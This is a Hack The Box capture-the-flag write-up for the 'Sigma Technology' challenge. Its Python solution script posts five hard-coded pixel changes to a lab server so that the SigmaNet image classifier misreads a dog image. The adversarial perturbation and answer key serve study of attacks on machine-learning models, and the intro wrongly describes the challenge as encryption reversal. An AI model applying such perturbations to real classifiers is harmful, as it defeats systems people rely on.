HackTheBox Sigma Technology Writeup

Explore the basics of cybersecurity in the Sigma Technology Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

https://app.hackthebox.com/challenges/267

Description

On a path to avenging his father, Tex Chance manufactured steam-powered robots to capture all the animals of your island to build a powerful army of fused mutated organisms using his powerful Sigma technology. You can’t let them take away your loyal doggo Julius. The robots have been trained to classify all the objects they encounter using the SigmaNet network. Can you use your laser pointer to change some of the robot’s vision pixels forcing it to misclassify your dog’s image?

Exploitation

#!/usr/bin/python3
import sys,requests,shutil
from PIL import Image
import numpy as np

if len(sys.argv) != 2:
    print(f"Usage: python {sys.argv[0]} <ip:port>")
    sys.exit(1)
URL = f"http://{sys.argv[1]}"

def download_image():
    print("Downloading image...")
    resp = requests.get(URL + "/static/dog.png", stream=True, timeout=60)
    with open("dog.png", "wb") as f:
        shutil.copyfileobj(resp.raw, f)
    img = Image.open("dog.png").convert('RGB')
    return np.array(img)

def main():
    modifications = [
        [24, 11, 88, 48, 117],
        [17, 26, 41, 60, 254],
        [13, 13, 0, 139, 111],
        [11, 20, 22, 0, 58],
        [26, 10, 6, 33, 49]
    ]
    data = {}
    for i, (x, y, r, g, b) in enumerate(modifications, 1):
        data[f"p{i}"] = f"{x},{y},{r},{g},{b}"
    try:
        print("Pixel modifications:", modifications)
        response = requests.post(f"{URL}/point-laser", data=data)
        print("Server response:", response.text)
    except Exception as e:
        print(f"Error sending to server: {e}")

if __name__ == "__main__":
    main()

Summary

The Sigma Technology Challenge on Hack The Box is a medium-level task involving adversarial attacks on the SigmaNet network. Participants manipulate specific image pixels via HTTP requests to mislead AI-powered robots and protect a loyal dog. This challenge introduces adversarial AI vulnerabilities, image processing, and HTTP communication, offering insights into exploiting AI systems.